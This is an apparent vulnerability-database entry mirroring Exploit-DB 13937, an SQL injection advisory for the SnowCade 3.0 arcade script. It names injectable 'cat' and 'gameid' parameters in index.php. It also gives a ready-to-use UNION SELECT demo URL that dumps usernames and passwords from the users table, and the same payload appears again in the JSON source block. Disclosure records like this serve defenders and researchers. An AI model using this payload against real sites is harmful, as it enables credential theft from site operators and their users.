Search...

SnowCade 3.0 - SQL Injection Vulnerability

2010-06-19T00:00:00

ID EDB-ID:13937
Type exploitdb
Reporter ahwak2000
Modified 2010-06-19T00:00:00

Description

SnowCade v3 SQL Injection Vulnerability. Webapps exploit for php platform

                                        
                                            /*
[-] SnowCade v3 SQL Injection Vulnerability [-]


---Date : 2010-06-19
---Author : ahwak2000
---Email : z.u5[at]hotmail.com
[-] Script Info [-]
---Home : http://www.arcadecreate.com/

[-] Vulnerability [-]


http://site.com/[path]/index.php?action=browse&cat=[SQL INj]



http://site.com/[path]/index.php?action=playgame&gameid=[SQL INj]



http://site.com/[path]/index.php?action=browse&cat=[SQL INj]



[-] DEM0[-]
http://server/snowcade/index.php?action=browse&cat=31%20UNION%20SELECT%201,CONCAT_WS%28CHAR%2832,58,32%29,username,password%29,3,4,5,6+from+users%20limit%201,1--

[-] Greetz to [-]

To All Friends in V4-team Forums And pc.pirate
*/

JSON Vulners Source

Initial Source

{"hash": "89e7d37c6fc8ac7e4d370decc7840052833fb14f99dd71cee2490a4d0f29bf85", "id": "EDB-ID:13937", "lastseen": "2016-02-01T18:48:43", "enchantments": {"vulnersScore": 7.5}, "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 1, "history": [], "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/13937/", "description": "SnowCade v3 SQL Injection Vulnerability. Webapps exploit for php platform", "title": "SnowCade 3.0 - SQL Injection Vulnerability", "sourceData": "/*\r\n[-] SnowCade v3 SQL Injection Vulnerability [-]\r\n\r\n\r\n---Date : 2010-06-19\r\n---Author : ahwak2000\r\n---Email : z.u5[at]hotmail.com\r\n[-] Script Info [-]\r\n---Home : http://www.arcadecreate.com/\r\n\r\n[-] Vulnerability [-]\r\n\r\n\r\nhttp://site.com/[path]/index.php?action=browse&cat=[SQL INj]\r\n\r\n\r\n\r\nhttp://site.com/[path]/index.php?action=playgame&gameid=[SQL INj]\r\n\r\n\r\n\r\nhttp://site.com/[path]/index.php?action=browse&cat=[SQL INj]\r\n\r\n\r\n\r\n[-] DEM0[-]\r\nhttp://server/snowcade/index.php?action=browse&cat=31%20UNION%20SELECT%201,CONCAT_WS%28CHAR%2832,58,32%29,username,password%29,3,4,5,6+from+users%20limit%201,1--\r\n\r\n[-] Greetz to [-]\r\n\r\nTo All Friends in V4-team Forums And pc.pirate\r\n*/", "objectVersion": "1.0", "cvelist": [], "published": "2010-06-19T00:00:00", "osvdbidlist": [], "references": [], "reporter": "ahwak2000", "modified": "2010-06-19T00:00:00", "href": "https://www.exploit-db.com/exploits/13937/"}